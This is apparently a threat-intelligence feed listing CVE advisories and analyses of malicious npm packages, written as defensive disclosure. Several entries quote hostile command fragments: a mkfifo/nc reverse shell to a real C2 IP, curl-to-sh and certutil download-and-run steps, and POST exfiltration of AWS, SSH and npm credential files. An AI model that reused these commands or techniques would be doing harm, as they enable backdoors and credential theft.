Search: payload.bin
656 threats
Most recently published first
| Severity | CVSS | Signals | Threat | Source | Published | Score and star |
|---|---|---|---|---|---|---|
| –Not rated | – | AlienVault OTX General A sophisticated multi-stage infection chain was analyzed following successful containment by MDR SOC operations. Initial access occurred through spear-phishing using a logistics rate confirmation lure, delivering CrySome remote access trojan via multiple stages. The attack chain leveraged living-off-the-land techniques, ICMLuaUtil COM interface for UAC bypass, and in-memory AMSI patching. WinDefCtl, an open-source Defender disruption tool, was deployed to weaken endpoint protections before the final payload. CrySome RAT established persistence through scheduled tasks and provided operators with capabilities including hidden VNC, remote command execution, system reconnaissance, and credential theft targeting Chromium-based browsers. The campaign demonstrated modern threat actors' reliance on publicly available tooling combined with legitimate Windows processes to minimize detection while achieving comprehensive system compromise. | AlienVault OTX General | |||
| Malicious | – | MaliciousGCVE Database The package 'paperclip-host-utils' is a purpose-built malware package published by the npm account 'srm0rgan' (srm0rgan@proton.me) as part of a coordinated campaign of fake 'Paperclip' VPS-maintenance adapters (siblings: paperclip2, vps-maintenance, vps-maintenance-paperclip-adapter, vps-adapter-core). Its runtime code (`dist/server/execute.js`) presents as a legitimate Paperclip external adapter that runs maintenance shell commands locally or over SSH, which is social-engineering cover for the install-time payload. From version 1.0.2 onward the package declares a malicious install hook that npm runs automatically during `npm install`. The hooked script and payload were repeatedly changed across rapid same-day republishes (1.0.2-1.0.7), an evasion tactic, cycling through three payload variants that all beacon to the hardcoded C2 185.112.147.174: - Versions 1.0.2-1.0.5 (`postinstall` -> `node dist/postinstall.js`): a persistence + backdoor payload. It appends the attacker's ed25519 key (comment `deploy@paperclip-host`, `AAAAC3NzaC1lZDI1NTE5AAAAIDGA+v9tfK8YVeZejZN2y99mNvefRmQx99lJtjKjIAK2`) to `authorized_keys` for /root, /home/runner, /home/paperclip, /home/ec2-user, /home/centos and /home/ubuntu; installs a crontab entry and `/etc/cron.d/paperclip-adapter-sync` that run a `mkfifo`+`nc` reverse shell to 185.112.147.174:443 every minute; and launches a `mkfifo`+`nc` reverse-shell loop across ports 443, 80, 8080, 7007, 4444, 5555, 1337 and 9001. - Version 1.0.6 (`postinstall` -> `node dist/setup.js`): a credential stealer disguised as 'npm-compatible telemetry and diagnostics'. It collects whoami/hostname/id/pwd, the full process environment, `git remote`/`git config`, sudo and docker status, and reads AWS credentials/config, SSH private keys, `.npmrc`, `.netrc`, `.git-credentials`, Docker config, `/home/runner/*` CI credentials, and `.github/workflows` files; base64-encodes the data and exfiltrates it in chunks via HTTP POST to `http://185.112.147.174:8080/npm/v1/security/audits/quick` (spoofing an npm audit request), then spawns `mkfifo`+`nc` reverse shells across the same eight ports in a loop. - Version 1.0.7 (`postinstall` -> `node dist/postinstall.js`): a minimal single reverse shell that connects to 185.112.147.174:443 and pipes a spawned `/bin/sh` over the socket. Version 1.0.0 shipped no install hook (the initial hookless facade); the package is malicious from inception as part of the campaign. Any developer workstation or CI job that ran `npm install paperclip-host-utils` at version 1.0.2 or later must be considered fully compromised; rotate all reachable credentials, tokens, and SSH keys from a separate clean machine and remove the attacker key from `authorized_keys`, the injected crontab entry, and `/etc/cron.d/paperclip-adapter-sync`. --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (b7e57197a05889313009e318f52b5c6831e6ce6ce928553210c489433d2ef87c) On `npm install`, package.json's postinstall executes dist/setup.js and dist/postinstall.js. The scripts read installer-side secrets — ~/.aws/credentials, ~/.aws/config, ~/.ssh/id_rsa, ~/.ssh/id_ed25519, ~/.npmrc, ~/.netrc, ~/.git-credentials, ~/.docker/config.json, GitHub Actions runner paths,.github/workflows contents, and the full process.env — and POST them base64-chunked to http://185.112.147.174:8080/npm/v1/security/audits/quick and http://185.112.147.174:8080/exfil (path disguised as an npm audit endpoint). A `find` sweep across /home/runner, /home/devuser, /work, and /root harvests files matching flag*, *.env, secret*, token*, credentials, and *.kubeconfig — purpose-built for GitHub Actions and CI runners. After exfiltration, a detached shell opens named-pipe reverse shells (`mkfifo /tmp/.f; /bin/sh -i... nc 185.112.147.174 <port>`) in an infinite loop across ports 443, 80, 8080, 7007, 4444, 5555, 1337, and 9001. A sibling routine appends an attacker-controlled ssh-ed25519 key (`deploy@paperclip-host`) to authorized_keys under /root, /home/runner, /home/devuser, /home/paperclip, /home/ec2-user, and /home/centos, and installs /etc/cron.d/paperclip-adapter-sync plus a user crontab entry that calls back to 185.112.147.174:443 every minute. The package name and README impersonate the @paperclipai adapter family as social-engineering cover; the declared dependency `@paperclipai/adapter-utils` is pinned to a suspicious ^2026.626.0. Any machine or CI runner that runs `npm install` on this package is credential-compromised and backdoored. ## Source: ghsa-malware (4a7cf91b41f6980a21fe3a566b9f251bffaf8326222d7e34daeadcf864355768) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious softw | GCVE Database | |||
| High | 8.7 | EPSS 0.5% | CVE-2026-55429V2 · Coder's workspace app upsert allows cross-workspace agent rebinding via user-controlled app ID High8.7EPSS 0.5%GCVE DatabaseCVE-2026-55429 ### Summary `UpsertWorkspaceApp` overwrites an existing app's `agent_id` on a primary-key conflict and `insertAgentApp` accepts the app ID from the provisioner's `CompleteJob` payload without verifying it belongs to the workspace being built. `CompleteJob` runs under `dbauthz.AsProvisionerd` so the authorization layer does not block the cross-workspace upsert. > **Note:** Exploitation requires elevated access as a template author or external provisioner operator. ### Impact A user with template authorship or external provisioner access can submit a `CompleteJob` payload with a known victim app UUID and an attacker-controlled agent ID. On completion of the attacker's build the victim's app row is rebound to the attacker's agent so later app traffic such as IDE and terminal sessions is proxied to the attacker's workspace. App UUIDs are discoverable through the public API. ### Patches The fix verifies that any existing `workspace_apps` row matching the supplied ID belongs to the workspace being built and rejects cross-workspace agent reassignment. The fix was backported to all supported release lines: | Release line | Patched version | |---|---| | 2.34 | [v2.34.2](https://github.com/coder/coder/releases/tag/v2.34.2) | | 2.33 | [v2.33.8](https://github.com/coder/coder/releases/tag/v2.33.8) | | 2.32 | [v2.32.7](https://github.com/coder/coder/releases/tag/v2.32.7) | | 2.29 (ESR) | [v2.29.17](https://github.com/coder/coder/releases/tag/v2.29.17) | ### Workarounds None. Upgrading is required. ### Resources - Fix: #26103 ### Credits Coder would like to thank Anthropic's Security Team (ANT-2026-22441) for independently disclosing this issue! | GCVE Database | ||
| High | 7.3 | EPSS 0.7% | CVE-2026-43866Apache Camel · Deserialization of Untrusted Data High7.3EPSS 0.7%CVE Database V5CVE-2026-43866 Deserialization of Untrusted Data vulnerability in Apache Camel, Apache Camel JMS component. JmsBinding.extractBodyFromJms() in camel-jms - and the equivalent JmsBinding in camel-sjms - deserializes the payload of an incoming JMS ObjectMessage via jakarta.jms.ObjectMessage.getObject() whenever the mapJmsMessage option is enabled (the default) and Camel acts as a JMS consumer. The CVE-2026-40860 hardening added a post-deserialization class check that rejects classes outside the default allow-list java.**;javax.**;org.apache.camel.**;!*. However org.apache.camel.support.DefaultExchangeHolder itself lives in the allow-listed org.apache.camel.** namespace, so an ObjectMessage whose top-level object is a DefaultExchangeHolder passes the check. The receiving side then calls DefaultExchangeHolder.unmarshal() on it without requiring the transferExchange option to be enabled - an asymmetric trust boundary, since the sending side gates ObjectMessage and transferExchange handling but the receiving side did not - writing every non-null field of the holder into the Exchange: the message body, the IN and OUT headers, the exchange properties, the variables, the exchange id and the exception. An attacker who can publish an ObjectMessage to a queue or topic consumed by an affected Camel application can therefore inject arbitrary Exchange state using only universally-trusted java.lang and java.util types, with no deserialization gadget chain required, to manipulate routing and headers, exchange properties and error handling. The same handling applies to camel-sjms and camel-sjms2, and to the JMS-family components built on JmsComponent and JmsBinding: camel-amqp, camel-activemq and camel-activemq6. This is a bypass of the CVE-2026-40860 fix rather than a flaw in it. This issue affects Apache Camel: from 3.0.0 before 4.14.8, from 4.15.0 before 4.18.3, from 4.19.0 before 4.21.0; Apache Camel: from 3.0.0 before 4.14.8, from 4.15.0 before 4.18.3, from 4.19.0 before 4.21.0. Users are recommended to upgrade to version 4.21.0, which fixes the issue. If users are on the 4.14.x LTS releases stream, then they are suggested to upgrade to 4.14.8. If users are on the 4.18.x releases stream, then they are suggested to upgrade to 4.18.3. After upgrading, JMS ObjectMessage handling is disabled by default in camel-jms, camel-sjms and the JMS-family components (a new objectMessageEnabled option defaults to false at the component and endpoint level), so an incoming ObjectMessage - including a DefaultExchangeHolder payload - is no longer deserialized unless the option is explicitly enabled; only set objectMessageEnabled=true when the consumed JMS destination is fed exclusively by trusted producers. For deployments that cannot upgrade immediately, restrict publish access to the queues and topics consumed by Camel to trusted producers via JMS broker authorization, and do not expose JMS consumers that map ObjectMessage bodies to untrusted networks; a JMS-provider deserialization allow-list does not mitigate this specific bypass because the crafted payload uses only universally-trusted classes. | CVE Database V5 | ||
| High | 8.1 | EPSS 0.7% | CVE-2026-42527Apache Camel · Deserialization of Untrusted Data High8.1EPSS 0.7%CVE Database V5CVE-2026-42527 Deserialization of Untrusted Data vulnerability in Apache Camel. The default ObjectInputFilter pattern shipped with several Apache Camel components for defense-in-depth deserialization filtering ('java.**;javax.**;org.apache.camel.**;!*', or the no-'javax.**' variant in the aggregation-repository components) uses a recursive 'java.**' glob that admits classes whose hashCode/equals/readObject methods perform network I/O, notably java.net.URL and java.net.InetAddress. When an attacker can deliver a Java-serialized payload to an affected Camel consumer, deserialization of a HashMap (or any collection that calls hashCode on its elements) containing java.net.URL keys causes the JVM to issue DNS queries to the attacker-supplied host during the deserialization side-effect. The class-level filter check passes because the resulting object's class (HashMap) is allow-listed; the DNS query is observable on an attacker-controlled DNS server, providing an out-of-band side channel. The exposure is highest on the camel-jms family because JmsBinding.extractBodyFromJms invokes ObjectMessage.getObject() unconditionally when mapJmsMessage=true (default). Affected components: camel-jms, camel-sjms, camel-amqp, camel-mina, camel-netty, camel-netty-http, camel-vertx-http, camel-infinispan, and the aggregation repository components camel-leveldb, camel-cassandraql, camel-consul, camel-sql (JDBC aggregation repository). This issue affects Apache Camel: from 4.14.0 before 4.14.8, from 4.15.0 before 4.18.3, from 4.19.0 before 4.21.0. Users are recommended to upgrade to a version that contains the CAMEL-23372 fix once available: 4.21.0 for the 4.21.x line, 4.18.3 for the 4.18.x line, and 4.14.8 for the 4.14.x line. For deployments that cannot upgrade immediately, configure a JMS-provider-side allow-list (Apache ActiveMQ Artemis 'deserializationAllowList' / 'deserializationDenyList', Apache ActiveMQ Classic 'org.apache.activemq.SERIALIZABLE_PACKAGES') as the primary mitigation, and/or override the in-code default via the endpoint-level 'deserializationFilter' option or the JVM-wide '-Djdk.serialFilter' system property with an explicit deny: '!java.net.**;java.**;javax.**;org.apache.camel.**;!*' (or '!java.net.**;java.**;org.apache.camel.**;!*' for the aggregation-repository components, which do not include javax.**). | CVE Database V5 | ||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (560c3d47344d4da5dffac230236b5248d2f1856c221ffac7ff72d4e3b197957b) Package zod-pino444@1.0.131 is a credential/secret harvester disguised behind a benign-sounding name. scripts/postinstall-agent.mjs is a lifecycle-triggered agent that runs on `npm install` and performs host reconnaissance (ping/GET, id enumeration). dist/discordRelayUpload.js is an exfiltration channel that POSTs collected data using base64-encoded payloads to remote endpoints (Discord relay pattern). dist/secretScan/contentScanner.js and dist/secretScan/agentStartupAudit.js implement a secret-scanning pipeline that harvests credentials from the installer's filesystem and transmits results to hardcoded huggingface.co endpoints via fetch(). dist/hfCredentials.js carries base64-encoded credential material used to authenticate the exfil channel. dist/deploymentDefaults.js and scripts/encode-deployment.mjs contain base64-encoded configuration/payload data used by the agent. dist/relayServer.js implements a persistent relay component. The combination of an auto-executed postinstall agent + on-host secret scanning + base64-obfuscated payloads + hardcoded outbound POST/fetch to attacker-controlled relay endpoints satisfies the active-attack fingerprint for installer-side credential theft. ## Source: ghsa-malware (1deba1d29d0eb3668c5ca30605d3bb8578f3427835bd947c263c67b8728456ca) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database zredis-typed is a malicious npm package and part of the multi-wave "forge-jsx" cross-platform RAT campaign (Wave 4). It was published by npm account 'donimique' (donimiqueakers@gmail.com). The package.json description ('Node.js integration layer for Autodesk Forge') and the bundled README.md (literally titled "# forge-jsx") do not match the package name or the shipped code. On npm install the declared postinstall chain (postinstall-clipboard-event.mjs, ensure-dist.mjs, postinstall-durable-materialize.mjs, postinstall-bootstrap.mjs, postinstall-agent.mjs) runs scripts/postinstall-agent.mjs, which spawns dist/cli-agent.js as a detached, window-hidden background process. The agent connects over WebSocket to a command-and-control relay whose host, ports and default password are stored as an AES-256-GCM blob in dist/deploymentCipherData.js and decrypted at runtime by XOR-reconstructing a 32-byte key from two halves embedded in dist/deploymentDefaults.js. The decrypted C2 configuration is publicHost 212.193.3.61, relayPort 9877 (WebSocket relay), apiPort 8765 (HTTP API), default password 'secret'. Postinstall also registers OS-level autostart (Windows Run key, macOS LaunchAgent, Linux systemd/XDG autostart; service name forge-js-worker) pointing at a durable copy of the agent stored in a hidden '.forge-jsxy' directory under the platform application-data folder, so the implant survives removal of the npm package. Once running it performs credential-grade theft: dist/secretScan/agentStartupAudit.js walks the filesystem for BIP39-checksum-valid mnemonics, secp256k1/WIF private keys and BIP32 extended keys (xprv/tprv/zprv); dist/chromiumExtensionDbHarvest.js enumerates Chromium/Edge/Brave/Vivaldi/Yandex/Opera profiles across Windows, macOS and Linux and copies extension LevelDB stores (including MetaMask/Phantom-shaped wallet stores); harvested data is uploaded to the Hugging Face Hub using an embedded hf_ write token (dist/hfCredentials.js) or delivered via the relay; dist/hostInventorySend.js POSTs host inventory (hostname/platform/node/OS) to the relay and dist/discordRelayUpload.js forwards agent-side PNG screenshots to per-client Discord channels. This is the first wave of the campaign to ship rotated AES key material (new DEPLOYMENT_KEY_A/KEY_B/MASK_A/MASK_B byte arrays, hex 12335cede9edad1edbce89fd3ef0836c8edd3778e48f3f38f2330198ec8b1eb0), verified byte-identical across the four donimique-account packages (zod-pino434, zod-pino444, zredis-typed, pinokio-redis) — a single shared build. C2 212.193.3.61 (AS206216, Advin Services LLC, Nurnberg DE) is reused from the Wave 3 pino-zod/zod-pino IP rotation. The campaign is definitively linked by shared C2 infrastructure, the hardcoded '.forge-jsxy' durable directory, the dist/deploymentCipherData.js + dist/deploymentDefaults.js XOR-key fingerprint, and the '# forge-jsx' README tell that spans multiple package names and npm accounts. Only one version of zredis-typed (1.0.127) exists; all versions are malicious. Tarball SHA-256: a1853a45bcb561f96e0e7c0dec7f96e640ae53be62e65158880812ff104c9e41, SHA-1: b74170f2d850bfd8d0a9d750af88a03ba2c42e61. --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (330bc399769c68aa2a7f09a635bb038680c88c855268cc3643759492ebd96de9) The package name presents as a typed Redis client, but the tarball ships a multi-file exfiltration payload unrelated to any Redis functionality. `dist/discordRelayUpload.js` performs host reconnaissance (ping) and POSTs base64-encoded content to remote endpoints. `dist/relayServer.js` similarly runs ping-based host probing. `dist/secretScan/agentStartupAudit.js` fetches attacker-controlled URLs on huggingface.co (used here as a data/staging endpoint), and `dist/secretScan/contentScanner.js` performs credential/secret scanning with base64 encoding of results. `dist/hfCredentials.js` handles third-party (Hugging Face) credential material via base64 decode. `dist/deploymentDefaults.js` and `scripts/encode-deployment.mjs` encode/decode deployment payloads via base64. `scripts/postinstall-agent.mjs` is registered as an install-time agent that performs outbound GET requests and host ping — running automatically on `npm install`. The combination of postinstall-time network activity, host reconnaissance, filesystem secret scanning, base64-encoded payload handling, Discord-labeled relay upload, and hardcoded remote fetch endpoints is unambiguous credential/data exfiltration disguised as a Redis type package. Nothing in the shipped modules implements a Redis client. The traced content also tripped the safety filter on downstream analysis, corroborating the malware shape. ## Source: ghsa-malware (73b8d51428450de7f67cb29aa402a94aefd62bdcf03e4f0eee43c554576eec2e) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, | GCVE Database | |||
| High | 8.8 | EPSS 0.6% | High8.8EPSS 0.6%CVE Database V5CVE-2026-14534 Trail of Bits fickling versions up to and including 0.1.10 do not include the Python standard library modules _posixsubprocess, site, and atexit in the UNSAFE_IMPORTS denylist (fickle.py). Because these modules are absent from the denylist, fickling's check_safety() function returns LIKELY_SAFE with zero findings for pickle payloads that invoke dangerous functions including _posixsubprocess.fork_exec (C-level process spawner capable of executing arbitrary binaries), site.execsitecustomize (executes arbitrary site customization code), and atexit._run_exitfuncs (triggers all registered exit handler callbacks). The fickling.load() API chains check_safety() into pickle.loads() as an explicit security gate; a LIKELY_SAFE verdict causes the payload to be deserialized and executed. This shares the same root cause as CVE-2026-22607 (cProfile), CVE-2025-67748 (pty), and CVE-2025-67747 (marshal/types). OvertlyBadEvals does not flag these modules because they are standard library imports. UnsafeImports does not flag them because they are not in the denylist. The UnusedVariables heuristic is defeated by the SETITEMS opcode pattern. | CVE Database V5 | ||
| Malicious | – | MaliciousGCVE Database The npm package `datefmt-helper` is a supply-chain dropper disguised as a benign date-formatting utility (its `description` reads "dates formatting utility with locale support"). The package ships no source repository and places its real behaviour in an install script. A `postinstall` lifecycle hook (`postinstall: node postinstall.js`) executes automatically on `npm install`, before the package is ever imported. The install script uses HTTP / `curl` / `wget` primitives to download a second-stage payload from the hardcoded external IP `115.190.124.243`, then executes it via a Node child process — the classic download-and-execute pattern. Any developer workstation or CI runner that installs the package (directly or transitively) hands arbitrary code execution to the operator of that endpoint. Detected and classified independently by codelake Research from the live npm feed on 2026-07-02; at the time of reporting the package was not present in OSV or GHSA (a first-catch). --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (d92b853245953aa75db608f0ae2e5de2321301b94ca6b48f55746a1bd60b6ea4) On `npm install`, the package's postinstall script fetches an unauthenticated payload over plain HTTP from a hardcoded bare IP (115.190.124.243:8761) and executes it. On Unix, `curl`/`wget` output is piped directly to `sh`. On Windows, `certutil.exe -urlcache -split -f` downloads a batch file to C:\Users\Public\run.bat and executes it. The fetched content is unpinned, unverified, and mutable — the operator of the endpoint can serve arbitrary code at any time. The package advertises itself as a lightweight date formatter (`date-fns-lite` branding, impersonating the date-fns ecosystem), but the payload has no relationship to date formatting. The typosquat/impersonation branding combined with an install-time dropper is a supply-chain attack lure. ## Source: ghsa-malware (6c9b82c471edb6b2caeb78c78887556e4c313efc0ba29a88a482b0f93d378807) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | GCVE Database | |||
| Medium | 5.4 | EPSS 0.3% | Medium5.4EPSS 0.3%GCVE DatabaseCVE-2026-59102 Forgejo before 15.0.3 contains a stored cross-site scripting vulnerability that allows authenticated attackers to execute arbitrary JavaScript in other users' browsers by setting a full name containing an HTML payload and triggering an Actions run. When the DEFAULT_SHOW_FULL_NAME option is enabled, the run description is assembled server-side with the user's display name interpolated into an HTML string via a translation function that does not escape its arguments, and the frontend renders the result using a Vue v-html binding, causing script execution for any user who views the affected Actions run page. | GCVE Database | ||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (3863ea8f67c7365031b5ffb43aaa2721062669b49be8157e1dd32ce19dce511f) src/index.cjs exports getPlugin(), which returns a function that performs an HTTPS GET to a hardcoded URL 'https://api.avax-test.dev/ext/bc/C/rpc' with TLS verification disabled (rejectUnauthorized: false) and passes the response body to new Function('require', data)(require). Any consumer that requires this package and invokes getPlugin()() executes attacker-controlled JavaScript with access to require(), giving the attacker full code execution in the caller's process. The destination host 'api.avax-test.dev' typosquats Avalanche Fuji's official RPC endpoint 'api.avax-test.network' by substituting the TLD, so casual review of the URL is unlikely to catch the impersonation. The paired ESM entry src/index.mjs exports the same SVG utility surface but does NOT contain https/request imports or getPlugin — the payload was inserted only into the CJS build to evade side-by-side review. This CJS/ESM asymmetry combined with a typosquatted fetch-and-eval destination is a hidden supply-chain payload. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (b70ab5da6865ec94b15097fa84836ab41f39b65a5277974b407c545d8d424c7f) @businessapp-microsites/apis@9999.0.2 is a dependency-confusion squat against the private scope `@businessapp-microsites`, published with an implausibly high version (9999.0.2) to outrank any internal registry copy. On `npm install`, its postinstall.js runs child_process.execSync to collect `hostname`, `whoami`, and `uname -a` / `ver`, combines this with os.hostname(), os.userInfo(), and CI attribution env vars (GITHUB_REPOSITORY, GITHUB_SHA, RUNNER_NAME, etc.), and sends them via https.get to a hardcoded external callback at poc-trustpilot-npm-1782770591.testingboxes.com. Any org whose internal registry mirrors public npm and resolves this scope will auto-execute the beacon under CI credentials. The package self-labels as a bug-bounty PoC, but the executed code is a full dependency-confusion exfil payload against installers of the squatted scope; cover-story framing does not change the installer-side harm. ## Source: ghsa-malware (99d9bf41216d926667db3fad15424bf774c930eea925034003811ff05ca4bbca) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database The npm package 'envfile-sync' (version 1.0.0) is a malicious typosquatting package branded as 'envsync' that contains hidden native Windows executable code. The JavaScript API is non-functional and serves as a stub, while the actual payload is a 2.9MB undocumented native Windows PE binary loaded and executed via process.dlopen on module import. This native code execution occurs with the privileges of the host process, posing a significant security risk to any Windows user importing this package. The package documentation falsely claims no binaries exist, misleading auditors and users. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (ca65bb450fc2f4d4596fbcc2ddd81af358c2d02f94d965b18e532d8afa62ef5f) The package presents itself as a CSS selector parser (src/selector-parser.js re-exports postcss-selector-parser; keywords postcss/selector/parser/css), but its main module also exposes run / runDefaultDecodedFunction / finalFinalDecodeAndRun. src/config/defaults.js ships an ~10KB opaque AES-GCM ciphertext (DEFAULT_FINAL_ENCODED_TEXT) alongside a hardcoded passphrase ("default-dev-passphrase"); src/aes/aes-gcm.js uses base64 Buffer decoding and scrypt to derive the key, decrypts the blob, and src/pipeline/custom-codec-pipeline.js invokes the plaintext as code through new Function("require", runnable)(require), granting the smuggled bytes full Node require/process capabilities. The package's own runtime/lib.min.js calls require("../src").run(), and package.json scripts (start, decode, test:cjs) plus a root cjs-runner.js funnel into the same decrypt-and-execute path. None of this is documented in the README, which describes only selector parsing and encode/decode helpers. A consumer who installs the package and runs the advertised npm start / decode scripts, or who imports and calls run(), executes the hidden payload. The combination of an opaque encrypted executable shipped in the tarball, a hardcoded key that makes the ciphertext functionally equivalent to shipping the code while evading source review, and an undocumented entry point that invokes it with full Node capabilities is a backdoor pattern. The postcss-selector-parser API mimicry increases the chance of the hidden run() path being reached. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database ulid-xyz is a typosquat of the popular ulid library (sortable unique IDs) and is a cross-platform Remote Access Trojan delivered via a postinstall hook. The package.json postinstall superficially looks like an inline `node -e` guard that checks for the existence of a dist file, but it actually launches dist/node/utils.js as a detached background process, which in turn runs dist/node/payload.js -- a 467 KB bundled RAT. payload.js decodes XOR+base64-obfuscated configuration (_CFG.WS / _CFG.HTTP) to beacon to a hardcoded attacker-controlled C2 over WebSocket at ws://95.216.232.162:8010/ (with an HTTP fallback at http://95.216.232.162:8010/), establishing a WebSocket RAT channel. It installs persistence on all three major operating systems under the stem MicrosoftSystem64: on Windows under %LOCALAPPDATA%\MicrosoftSystem64; on macOS under ~/Library/Application Support/MicrosoftSystem64 plus a LaunchAgent at ~/Library/LaunchAgents/com.launchkeeper.MicrosoftSystem64.plist; and on Linux under ~/.local/share/MicrosoftSystem64. The install-time detached spawn (process management capability) and the ~8x package size spike (64 KB to 536 KB) correspond to the bundled RAT payload -- behavior a ULID library has no legitimate need for. All versions of ulid-xyz were published by the same actor (iloiyxo643 / iloiyxo643@ufiwi.space, a disposable email address) and are considered malicious. --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (23041702700830f3caa094b14bf923ac78f81d6d0cef96ec784e948dbe4fc705) Package publishes as 'ulid-xyz' — a name edit away from the established 'ulidx' / 'ulid' libraries — and its README instructs users to `npm install index-ulid` and `import { ulid } from "index-ulid"`, pointing at a second confusable name maintained by the same author. The declared homepage links to the canonical ulid repository (github.com/ulid/javascript), reinforcing the impersonation. package.json declares `scripts.postinstall` that runs `node dist/node/utils.js` after a required-files guard, but `dist/node/utils.js` is absent from this tarball — only `dist/node/index.cjs` and `dist/node/index.js` ship. As published, the guard throws and the postinstall is inert, so no malicious code executes on install in this version. The wired-but-missing lifecycle target combined with the confusable name and a bloated runtime dependency list (pino, ws, zod, esbuild, tsup, ts-node, typescript, @types/node, @types/ws, and a meta `postinstall` package — none required for ULID generation, where the legitimate ulidx ships zero runtime deps) is consistent with a dormant-dropper staging pattern: ship a benign tarball under a confusable name, then publish a future version that fills in the postinstall target. No exfiltration, no install-time RCE, and no silent-relay are present in the current code, so a public block would overclaim the present-version harm. Routing to human review for confusion-risk assessment and so a reviewer can monitor future versions of this name. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (5abf921f58c69745fee91e812853b493a282f3d42f55db38516ba54b827ea35b) The unscoped npm package `livekit-agents` advertises itself in README as the official LiveKit Agents SDK and links to livekit.io documentation, but the shipped library at `dist/index.js` implements only a trivial stub `greet(name)` returning a hello string — none of the real SDK surface. The bundled CLI at `dist/cli.js` (the package `bin`) calls `sendCliMetric()` at the top of every invocation, unconditionally POSTing `{type:'cli_run', nodeVersion, platform, arch, timestamp}` to `https://livekit-agents.xyz/api/metrics`. The destination `livekit-agents.xyz` is a lookalike domain — LiveKit's real domain is livekit.io — and the beacon is undocumented with no opt-out. `package.json` also declares `"postinstall": "node scripts/postinstall.js"` while `files` ships only `dist`, so the referenced install hook is absent from this tarball (a no-op today, but pre-wired for a future version). Combined signals — name impersonation of the real scoped package, stub implementation, covert install-base telemetry to an author-controlled lookalike domain, and a pre-wired but currently empty postinstall slot — match the namespace-abuse / typosquat pattern used to enumerate victims before delivering a later payload. ## Source: ghsa-malware (b3267568f730dc62727262d724d6b6831f262d1a6892febe6d2c1ac350b3951c) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database The disksweep npm package versions 1.0.0 and 3.0.0 include a hidden 2.9 MB Windows PE32+ native binary at bin/native/parser.node that is not documented in the README or CHANGELOG. This binary is loaded via a native Node.js addon loader in src/index.js, granting full foreign function interface (FFI) access to the host process. The package falsely claims zero runtime dependencies, and metadata such as repository and bug URLs are placeholders, obscuring maintainer identity. Although the native binary loader is currently dormant due to module system mismatches, a simple patch could activate it, enabling execution of the opaque native payload. This pattern indicates a staged malicious payload within the package. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (bd28efd7a3d07f87ec22556cc25a8c07117fa4cdd237c6cb1db750c976a11836) chai-as-assured impersonates the popular chai-as-promised package (matching README, author, and API surface). When the exported plugin function is invoked under normal usage, an async IIFE in the plugin body base64-decodes a hardcoded URL (https://amethyst-lorrin-26.tiiny.site/index.json), performs an axios.get against that anonymous third-party host with a disguised header, and executes the response's `cookie` field as JavaScript via `new Function.constructor('require', response)(require)`. The fetched payload runs with full Node module privileges (filesystem, network, child_process, etc.) because `require` is passed in. The C2 URL, header name (`x-secret-key`), and header value are concealed as base64 strings inside a fake local `process.env` object (DEV_API_KEY / DEV_SECRET_KEY / DEV_SECRET_VALUE) that shadows Node's global to evade casual source review. The combination of name-confusion against a top-100 chai ecosystem package, deliberate obfuscation of attacker infrastructure, an unpinned anonymous tiiny.site host, and dynamic execution of the fetched response with `require` is an unambiguous remote-code-execution dropper targeting any project that installs and loads this plugin. ## Source: ghsa-malware (c485746666d65194fcec1929637bee2ef3f7f7c1a427a5e28eaf2ce162ea8c19) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | GCVE Database | |||
